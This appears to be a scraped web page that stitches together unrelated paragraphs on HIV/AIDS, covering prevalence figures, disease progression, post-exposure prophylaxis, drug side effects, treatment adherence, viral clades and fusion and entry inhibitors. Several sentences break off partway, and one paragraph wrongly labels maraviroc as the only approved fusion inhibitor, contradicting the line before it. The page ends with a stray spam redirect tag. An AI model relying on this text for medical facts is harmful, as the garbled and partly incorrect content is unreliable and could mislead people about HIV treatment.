Many people with HIV do not know they are infected. In the United States, it is likely that 14% of HIV-positive individuals are unaware of their infection. HIV infection progresses in three very general stages.
If infected people are not treated, AIDS develops in most of them. How quickly the number of CD4 cells decreases and HIV infection progresses toward AIDS varies greatly from person to person. Generally, experts estimate that people develop AIDS at the following rates:
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Background and Methods National surveillance data show recent, marked reductions in morbidity and mortality associated with the acquired immunodeficiency syndrome (AIDS). To evaluate these declines, we analyzed data on 1255 patients, each of whom had at least one
In the United States, 1.2 million people aged 13 years or older were estimated to have HIV infection in 2012. About 12.8% of them do not know they have HIV infection. About 50,000 new cases are estimated to occur each year in the United States. Most new infections occur in gay and bisexual men, and black men and black women are disproportionately affected (see also HIV in the United States: At A Glance).
At the household level, AIDS causes both loss of income and spending on healthcare. A study in Côte d’Ivoire showed that households having a person with HIV/AIDS spent twice as much on medical expenses as other households. This additional expenditure also leaves less income to spend on education and other personal or family investment.
In making decisions about patient care, health care professionals who are infected with HIV should adhere to the fundamental professional obligation to avoid harm to patients. Physicians who have reason to believe that they have been at significant risk of being infected should be tested voluntarily for HIV for the protection of their patients as well as for their own benefit. The physician as a patient is entitled to the same rights to privacy and confidentiality as any other patient.
If you believe you have been exposed to HIV, seek medical attention IMMEDIATELY. There is some evidence that an immediate course of anti-viral drugs can reduce the chances that you will be infected. This is called post-exposure prophylaxis (PEP), and it has been used to treat health care workers injured by needlesticks for years.
It is best practice to also retest all people initially diagnosed as HIV-positive before they enrol in care and/or treatment to rule out any potential testing or reporting error. Notably, once a person diagnosed with HIV and has started treatment they should not be retested.
DDI also causes pancreatitis and, to a lesser extent, peripheral neuropathy. Peripheral neuropathy can become permanent and painful, and pancreatitis can be life-threatening if therapy is not discontinued. The drug ddC also is associated with peripheral neuropathy, as well as oral ulcers.
Changes in survival of people infected with HIV. As therapies have become more aggressive, they have been more effective, although survival with HIV infection is not yet equivalent to that in uninfected people. Modified from an original published by Lohse et al (2007), “Survival of persons with and without HIV infection in Denmark, 1995-2005.”
Successfully treated patients may demonstrate intermittent low-level viremia (eg, < 400 copies/mL), but this is not thought to represent viral replication or to predict virologic failure (defined as a confirmed viral load of > 200 copies/mL 
Before starting ART, blood tests usually are done to make sure the virus is not already resistant to the chosen medications. These resistance tests may be repeated if it appears the drug regimen is not working or stops working. Patients are taught the importance of taking all of their medications as directed and are told what side effects to watch for. Noncompliance with medications is the most common cause of treatment failure and can cause the virus to develop resistance to the medication. Because successful therapy often depends on taking several pills, it is important for the patient to understand that this is an “all or nothing” regimen. If the person cannot tolerate one of the pills, then he or she should call their physician, ideally prior to stopping any medication. Taking just one or two of the recommended medications is strongly discouraged because it allows the virus to mutate and become resistant. It is best to inform the HIV health care provider immediately about any problems so that a better-tolerated combination can be prescribed.
Vaccines can test your immune system response in what is called an antibody test. Your doctor will give you a vaccine. Then they will test your blood for its response to the vaccine a few days or weeks later.
Two distinct species of HIV (HIV-1 and HIV-2) have been identified, and each is composed of multiple subtypes, or clades. All clades of HIV-1 tend to cause similar disease, but the global distribution of the clades differs. This may have implications on any future vaccine, as the B clade, which is predominant in the developed world (where the large pharmaceutical companies are located), is rarely found in the developing countries that are more severely affected by the disease.
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Fusion inhibitors and entry inhibitors. Fusion inhibitors block specific proteins on the surface of the virus or the CD4+ cell. These proteins help the virus gain entry into the cell. The only FDA-approved fusion inhibitor as of early 2009 was enfuvirtide (Fuzeon). Entry inhibitors block HIV from entering cells. The only FDA-approved fusion inhibitor as of early 2009 was maraviroc (Selzentry). Several drugs in this class are, as of 2009, in pre-approval clinical trials. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]